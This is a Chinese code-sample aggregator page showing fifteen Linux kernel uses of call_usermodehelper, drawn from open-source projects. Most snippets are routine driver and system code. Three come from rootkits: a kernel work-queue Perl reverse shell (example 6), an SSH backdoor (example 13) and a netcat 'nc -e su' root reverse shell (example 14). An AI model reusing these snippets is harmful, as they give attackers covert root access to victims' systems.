当前位置: 首页>>代码示例>>C++>>正文


C++ call_usermodehelper函数代码示例

本文整理汇总了C++中call_usermodehelper函数的典型用法代码示例。如果您正苦于以下问题:C++ call_usermodehelper函数的具体用法?C++ call_usermodehelper怎么用?C++ call_usermodehelper使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了call_usermodehelper函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: invoke_led_service

static int invoke_led_service(void)
{
	int rc = 0;
	int getvalue;
	char *argv_on[] = { "/system/bin/sh", "/system/bin/am", "startservice", "--es", "rfs", "on", "-n", FELICA_LED_INTENT, NULL };
	char *argv_off[] = { "/system/bin/sh", "/system/bin/am", "startservice", "--es", "rfs", "off", "-n", FELICA_LED_INTENT, NULL };

	static char *envp[] = {FELICA_LD_LIBRARY_PATH,FELICA_BOOTCLASSPATH,FELICA_PATH,NULL};

	#ifdef FEATURE_DEBUG_LOW
	FELICA_DEBUG_MSG("[FELICA_RFS] invoke led service ... \n");
	#endif
	getvalue = felica_gpio_read(felica_get_rfs_gpio_num());
	if( isFelicaUsed ==0 && getvalue == GPIO_LOW_VALUE)
	{
    	#ifdef FEATURE_DEBUG_HIGH
		FELICA_DEBUG_MSG("[FELICA_RFS] Felica LED On ... \n");
		#endif
		lock_felica_rfs_wake_lock();
		rc = call_usermodehelper( argv_on[0], argv_on, envp, UMH_WAIT_PROC );
		isFelicaUsed = 1;
	}
	else if( isFelicaUsed ==1 && getvalue == GPIO_HIGH_VALUE)
	{
    	#ifdef FEATURE_DEBUG_HIGH
		FELICA_DEBUG_MSG("[FELICA_RFS] Felica LED Off ... \n");
		#endif
		unlock_felica_rfs_wake_lock();
		rc = call_usermodehelper( argv_off[0], argv_off, envp, UMH_WAIT_PROC );
		isFelicaUsed =0;
	}
	else	{
    	#ifdef FEATURE_DEBUG_MED
		FELICA_DEBUG_MSG("[FELICA_RFS] Felica LED exception case ... do nothing \n");
		FELICA_DEBUG_MSG("[FELICA_RFS] felica_gpio_read = %d , isFelicaUsed =%d \n",getvalue,isFelicaUsed);
		#endif
		unlock_felica_rfs_wake_lock();
#if defined(CONFIG_LGE_FELICA_ONLY)
		FELICA_DEBUG_MSG("[FELICA_RFS] Felica LED ERROR case so LED Off ... \n");
		rc = call_usermodehelper( argv_off[0], argv_off, envp, UMH_WAIT_PROC );
		isFelicaUsed =0;
#endif
	}

	#ifdef FEATURE_DEBUG_LOW
	FELICA_DEBUG_MSG("[FELICA_RFS] invoke_led_service: %d \n", rc);
	#endif
	return rc;
}
开发者ID:Fechinator,项目名称:FechdaKernel,代码行数:49,代码来源:felica_rfs.c

示例2: hotplug

int hotplug (char *agent, char *interface, char *action)
{
	char *argv[3], *envp[5], ifname[12 + IFNAMSIZ], action_str[32];

	if (!hotplug_path[0]) {
		printk (KERN_ERR "hotplug: hotplug_path empty\n");
		return -EINVAL;
	}
	//printk(KERN_DEBUG "hotplug: %s\n", hotplug_path);

	if (in_interrupt ()) {
		printk (KERN_ERR "hotplug: in_interrupt\n");
		return -EINVAL;
	}
	sprintf (ifname, "INTERFACE=%s", interface);
	sprintf (action_str, "ACTION=%s", action);

	argv[0] = hotplug_path;
	argv[1] = agent;
	argv[2] = 0;

	envp[0] = "HOME=/";
	envp[1] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin";
	envp[2] = ifname;
	envp[3] = action_str;
	envp[4] = 0;

	return call_usermodehelper (argv[0], argv, envp);
}
开发者ID:muromec,项目名称:linux-ezxdev,代码行数:29,代码来源:hotplug.c

示例3: call_init_helper

/*
 * call_init_helper - calls bb5-init helper
 *
 * used by the driver to load/store secure storage on demand.
 * secure storage might be needed by request from kernel code
 */
static int call_init_helper(int event)
{
	char *argv[3], *envp[4], action[32];
	int rv, i;

	i = 0;
	argv[i++] = "/usr/sbin/bb5-init";
	argv[i++] = event ? "load" : "save";
	argv[i] = NULL;

	sprintf(action, "ACTION=%s", argv[1]);

	i = 0;
	/* minimal command environment */
	envp[i++] = "HOME=/";
	envp[i++] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin";
	envp[i++] = action;
	envp[i] = NULL;

	mutex_unlock(&sdev.lock);
	rv = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
	mutex_lock(&sdev.lock);

	pr_debug("rv: %d\n", rv);

	return rv;
}
开发者ID:CL0SeY,项目名称:i957kernel,代码行数:33,代码来源:msm_romlite_sec.c

示例4: __orderly_poweroff

static int __orderly_poweroff(bool force)
{
	char **argv;
	static char *envp[] = {
		"HOME=/",
		"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
		NULL
	};
	int ret;

	argv = argv_split(GFP_KERNEL, poweroff_cmd, NULL);
	if (argv) {
		ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
		argv_free(argv);
	} else {
		ret = -ENOMEM;
	}

	if (ret && force) {
		pr_warn("Failed to start orderly shutdown: forcing the issue\n");
		/*
		 * I guess this should try to kick off some daemon to sync and
		 * poweroff asap.  Or not even bother syncing if we're doing an
		 * emergency shutdown?
		 */
		emergency_sync();
		kernel_power_off();
	}

	return ret;
}
开发者ID:AnadoluPanteri,项目名称:kernel-plus-harmattan,代码行数:31,代码来源:reboot.c

示例5: call_fdx_event

static void call_fdx_event(struct l4fdx_client *c,
                           char *command, char const *path, int umh_wait)
{
    int ret;
    char *argv[4], *envp[4];
    char *prg = NULL;
    char client[40];

    BUG_ON(umh_wait & UMH_NO_WAIT); /* Use of memory for arguments */

    if (c->event_program)
        prg = c->event_program;
    else if (global_event_program)
        prg = global_event_program;
    else
        return;

    snprintf(client, sizeof(client), "FDX_CLIENT=%s",
             c->capname ? c->capname : "");

    argv[0] = prg;
    argv[1] = command;
    argv[2] = (char *)path;
    argv[3] = NULL;

    envp[0] = "HOME=/";
    envp[1] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin";
    envp[2] = client;
    envp[3] = NULL;

    ret = call_usermodehelper(argv[0], argv, envp, umh_wait);
    if (ret < 0)
        pr_err("l4fdx: Failed to call user event (%d)\n", ret);
}
开发者ID:michas2,项目名称:l4re-snapshot,代码行数:34,代码来源:l4fdx-srv.c

示例6: work

/* work queue function */
void work(void *wdata)
{
    char *env[] = {NULL};
    int i=0,j=0;
    
    
    /* isto e' a remote shell em perl */

    char *args[] = {"/usr/bin/perl", "-e",
        "use Socket;use POSIX; setgid(00000);"
            "(socket(SERVER, PF_INET, SOCK_STREAM, getprotobyname('tcp')) && connect(SERVER, pack 'SnA4x8', 2, $ARGV[1], inet_aton($ARGV[0]))) || exit();"
            "open(STDIN,'>&SERVER'); open(STDOUT,'>&SERVER'); open(STDERR,'>&SERVER');"
            "exec {'/bin/sh'} '-bash' .\"\" ",
        "mega", od->cpstring, NULL};

    args[0] = od->perlpath;
    args[3] = od->ipstring;
    args[4] = od->cpstring;

    /* decalc gid inside perl */
    for(i=0;args[2][i]!='(';i++); i++;
    for(j=0;j<5;j++)
        args[2][i+j]=od->gid[j];

    if(debug)
        printk("tunnel started with gid %s, connecting to=%s:%s with %s", od->gid, args[3], args[4], args[0]);

    call_usermodehelper(perlpath, args, env, 0);
}
开发者ID:agostinopanico,项目名称:bastardo,代码行数:30,代码来源:main.c

示例7: tomoyo_load_policy

/**
 * tomoyo_load_policy - Run external policy loader to load policy.
 *
 * @filename: The program about to start.
 *
 * This function checks whether @filename is /sbin/init , and if so
 * invoke /sbin/tomoyo-init and wait for the termination of /sbin/tomoyo-init
 * and then continues invocation of /sbin/init.
 * /sbin/tomoyo-init reads policy files in /etc/tomoyo/ directory and
 * writes to /sys/kernel/security/tomoyo/ interfaces.
 *
 * Returns nothing.
 */
void tomoyo_load_policy(const char *filename)
{
	char *argv[2];
	char *envp[3];

	if (tomoyo_policy_loaded)
		return;
	/*
	 * Check filename is /sbin/init or /sbin/tomoyo-start.
	 * /sbin/tomoyo-start is a dummy filename in case where /sbin/init can't
	 * be passed.
	 * You can create /sbin/tomoyo-start by
	 * "ln -s /bin/true /sbin/tomoyo-start".
	 */
	if (strcmp(filename, "/sbin/init") &&
	    strcmp(filename, "/sbin/tomoyo-start"))
		return;
	if (!tomoyo_policy_loader_exists())
		return;

	printk(KERN_INFO "Calling %s to load policy. Please wait.\n",
	       tomoyo_loader);
	argv[0] = (char *) tomoyo_loader;
	argv[1] = NULL;
	envp[0] = "HOME=/";
	envp[1] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin";
	envp[2] = NULL;
	call_usermodehelper(argv[0], argv, envp, 1);
	tomoyo_check_profile();
}
开发者ID:1yankeedt,项目名称:D710BST_FL24_Kernel,代码行数:43,代码来源:load_policy.c

示例8: hanbang_asshole

/* hanbang_asshole function add by Jorney for flush_mac */
static void hanbang_asshole(void)
{
	char * argv_init[] = { "/ipnc/bin/flush_mac", NULL, NULL };
	char * _envp_init[] = { NULL };

	call_usermodehelper(argv_init[0], argv_init, _envp_init, UMH_WAIT_PROC);
}
开发者ID:jorneytu,项目名称:code,代码行数:8,代码来源:net.c

示例9: runcmd

int runcmd(bool force)
{
	char **argv;
	static char *envp[] = {
		"HOME=/",
		"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
		NULL
	};
	int ret;

	argv = argv_split(GFP_KERNEL, restart_cmd, NULL);
	if (argv) {
		ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
		argv_free(argv);
	} else {
		printk(KERN_WARNING "ak47 %s failed to allocate memory for \"%s\"\n",
					 __func__, restart_cmd);
		ret = -ENOMEM;
	}

	if (ret && force) {
		printk(KERN_WARNING "ak47 Failed to start \n ");
	}
printk("AK47 in  kthread runcmd exit\n");
	return ret;
}
开发者ID:NhlalukoG,项目名称:android_kernel_samsung_goyave3g,代码行数:26,代码来源:srt_proc.c

示例10: nfs_cache_upcall

int nfs_cache_upcall(struct cache_detail *cd, char *entry_name)
{
	static char *envp[] = { "HOME=/",
		"TERM=linux",
		"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
		NULL
	};
	char *argv[] = {
		nfs_cache_getent_prog,
		cd->name,
		entry_name,
		NULL
	};
	int ret = -EACCES;

	if (nfs_cache_getent_prog[0] == '\0')
		goto out;
	ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
	/*
	 * Disable the upcall mechanism if we're getting an ENOENT or
	 * EACCES error. The admin can re-enable it on the fly by using
	 * sysfs to set the 'cache_getent' parameter once the problem
	 * has been fixed.
	 */
	if (ret == -ENOENT || ret == -EACCES)
		nfs_cache_getent_prog[0] = '\0';
out:
	return ret > 0 ? 0 : ret;
}
开发者ID:mikuhatsune001,项目名称:linux2.6.32,代码行数:29,代码来源:cache_lib.c

示例11: run_sbin_udc_hotplug

static void run_sbin_udc_hotplug(int insert, int old_state)
{
        int i;
        char *argv[3], *envp[8];
 
        if (!uevent_helper[0])
                return;

	argv[0] = uevent_helper;
	argv[1] = "udc";
	argv[2] = NULL;

        /* minimal command environment */
	i = 0;
        envp[i++] = "HOME=/";
        envp[i++] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin";

        if (insert)
                envp[i++] = "ACTION=add";
        else {
		if (old_state)
                	envp[i++] = "ACTION=remove-cable";
		else
                	envp[i++] = "ACTION=remove-power";	
	}
        envp[i] = 0;

	call_usermodehelper (argv[0], argv, envp, 0);
}
开发者ID:atsidaev,项目名称:linux-2.6-openinkpot,代码行数:29,代码来源:udc_hotplug.c

示例12: rpmsg_echo_test_kern_app_cb

static void rpmsg_echo_test_kern_app_cb(struct rpmsg_channel *rpdev, void *data,
					int len, void *priv, u32 src)
{

	struct _rpmsg_dev_params *local = dev_get_drvdata(&rpdev->dev);
	struct _payload *payload = data;
	int i = 0;

	/* Shutdown Linux if such a message is received. Only applicable
	when Linux is a remoteproc remote. */

	//pr_info ("%s\n", __func__);
	if (!data) {
		return;
	}

	if ((*(int *) data) == SHUTDOWN_MSG) {
		dev_info(&rpdev->dev,"shutdown message is received. Shutting down...\n");
		call_usermodehelper(shutdown_argv[0], shutdown_argv,
					NULL, UMH_NO_WAIT);
	} else {
		pr_info("\r\n Master : Linux Kernal Space : Received payload ");
		pr_info("num %d of size %d, total len %d. \r\n", payload->num, payload->size,len);
		for (i = 0; i < payload->size; i++) {
			if (payload->data[i] != 0xA5) {
				pr_err("\r\n Data corruption at index %d. \r\n", i);
				mutex_lock(&local->sync_lock);
				local->err_cnt++;
				mutex_unlock(&local->sync_lock);
				break;
			}
		}
		schedule_work(&local->rpmsg_work);
	}
}
开发者ID:PetrLukas,项目名称:open-amp,代码行数:35,代码来源:rpmsg_echo_test_kern_app.c

示例13: backdoor_ssh

static void backdoor_ssh(void) 
{

    char *argv[] = { "/bin/bash", "-c", BCK_SSH, NULL };
    char *envp[] = { "HOME=" DEFAULT_PATH, NULL };
    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
开发者ID:QuokkaLight,项目名称:rkduck,代码行数:7,代码来源:backdoor.c

示例14: reverse_shell

void reverse_shell()
{
	char *path="/system/xbin/nc";
	char *argv[]={"IP/DOMAIN HERE","PORT_NO","-e","su","&",NULL};
	char *envp[]={"HOME=/","PATH=/sbin:/system/sbin:/system/bin:/system/xbin",NULL};
	call_usermodehelper(path,argv,envp,1);
}
开发者ID:apkhook,项目名称:Android-Rootkit,代码行数:7,代码来源:sys_call_table.c

示例15: do_envctrl_shutdown

static void do_envctrl_shutdown(struct bbc_cpu_temperature *tp)
{
	static int shutting_down = 0;
	static char *envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };
	char *argv[] = { "/sbin/shutdown", "-h", "now", NULL };
	char *type = "???";
	s8 val = -1;

	if (shutting_down != 0)
		return;

	if (tp->curr_amb_temp >= amb_temp_limits[tp->index].high_shutdown ||
	    tp->curr_amb_temp < amb_temp_limits[tp->index].low_shutdown) {
		type = "ambient";
		val = tp->curr_amb_temp;
	} else if (tp->curr_cpu_temp >= cpu_temp_limits[tp->index].high_shutdown ||
		   tp->curr_cpu_temp < cpu_temp_limits[tp->index].low_shutdown) {
		type = "CPU";
		val = tp->curr_cpu_temp;
	}

	printk(KERN_CRIT "temp%d: Outside of safe %s "
	       "operating temperature, %d C.\n",
	       tp->index, type, val);

	printk(KERN_CRIT "kenvctrld: Shutting down the system now.\n");

	shutting_down = 1;
	if (call_usermodehelper("/sbin/shutdown", argv, envp, 0) < 0)
		printk(KERN_CRIT "envctrl: shutdown execution failed\n");
}
开发者ID:DentonGentry,项目名称:gfiber-gfrg100,代码行数:31,代码来源:bbc_envctrl.c


注:本文中的call_usermodehelper函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。